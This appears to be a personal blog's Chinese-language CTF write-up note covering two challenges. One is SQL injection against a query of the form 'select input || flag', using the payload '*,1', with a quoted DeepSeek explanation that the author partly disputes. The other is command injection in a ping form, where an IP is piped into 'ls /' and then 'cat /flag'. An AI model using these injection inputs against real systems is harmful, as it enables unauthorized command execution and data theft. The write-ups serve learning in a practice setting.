note-25

[suctf 2019]EasySQL

老早就做过这题了,当初wp看的半知半解,现在是我想能算上是大彻大悟了吧

1
select $_GET['query'] || flag from flag

|| 符是或的意思,应该就和注入中的 || , or 是一个用法

这里的||在mysql中表示或,如果前一个操作数为真,则不看后面的语句

网上最多的payload都是

1
*,1

那拼接进sql语句就是

1
select *,1||flag from flag

查询全部,外加一个 select 1的效果
这样就看得出来了:

1
select (*),(1||flag) from flag

为什么不能直接查询 * 呢?

deepseek:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在后端的SQL语句SELECT $_GET['query'] || flag FROM flag中,||操作符的作用取决于数据库类型。在SQLite或PostgreSQL中,||表示字符串连接,而在MySQL中(除非启用特定模式)则代表逻辑或。以下是需要传*,1而非*的关键原因:

语法问题:

若直接传入*,查询会变为SELECT * || flag FROM flag。此时*(通配符)无法直接与其他字段(flag)进行字符串连接或逻辑运算,导致语法错误,查询无法执行。

传入*,1时,查询变为SELECT *,1 || flag FROM flag。这里,将*和1 || flag分为两个独立列,*单独选择所有字段,1 || flag则作为新列(如SQLite中会拼接1和flag的值)。语法正确,查询正常执行。

绕过字段限制:

若后端代码仅返回第一个字段的值,直接传*会因语法错误无结果。传*,1后,查询结果包含所有原始字段(通过*),可能使应用程序完整展示数据(如flag字段)。

数据库特性差异:

在SQLite中,1 || flag会生成新列(如1abc,假设flag值为abc)。即使应用程序仅显示部分结果,攻击者也可能通过新列间接获取flag值。

总结:*,1通过合法语法允许*单独生效,绕过因||导致的错误,最终泄露flag字段数据。直接传*则因语法问题失败。

应该就是语法问题,字段限制的话应该不是

看的wp:
https://blog.csdn.net/StevenOnesir/article/details/110203051
https://blog.csdn.net/xhy18634297976/article/details/122515412

以前看不明白现在看明白了,但以现在水平打比赛时遇到类似题目应该猜不出来后端语句

那是怎样猜出后端语句的呢:

1
2
3
4
5
6
7
select command1 || command2 

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

https://blog.csdn.net/2302_79800344/article/details/136268777

[ACTF2020 新生赛]Exec

根据题目猜测是命令执行类型,看到页面是一个ping的功能,尝试ping了一下我的网站:
www.gwwafz.online
回显:

1
2
3
4
PING www.gwwafz.online (39.105.15.250): 56 data bytes

--- www.gwwafz.online ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss

故想起使用管道符来连接命令:
39.105.15.250|ls /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

直接回显了,那接下来就是cat /flag 就ok了:

flag{eba95874-05c1-46a8-8a2f-28eff48a72be}


note-25
https://aidemofashi.github.io/2025/04/15/note-25/
作者
aidemofashi
发布于
2025年4月15日
许可协议